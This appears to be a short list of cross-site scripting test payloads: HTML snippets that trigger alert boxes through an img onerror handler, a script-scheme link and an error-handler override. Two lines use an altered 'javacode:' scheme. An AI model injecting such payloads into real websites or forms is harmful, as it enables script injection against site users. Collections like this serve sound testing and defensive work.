<code>alert('xss')</code>
<img src=1 onerror=alert('xss')>
<a href="javacode:alert('xss')">link</a>
<Img src = x onerror = "javacode: window.onerror = alert; throw 'This is a xss!!!'">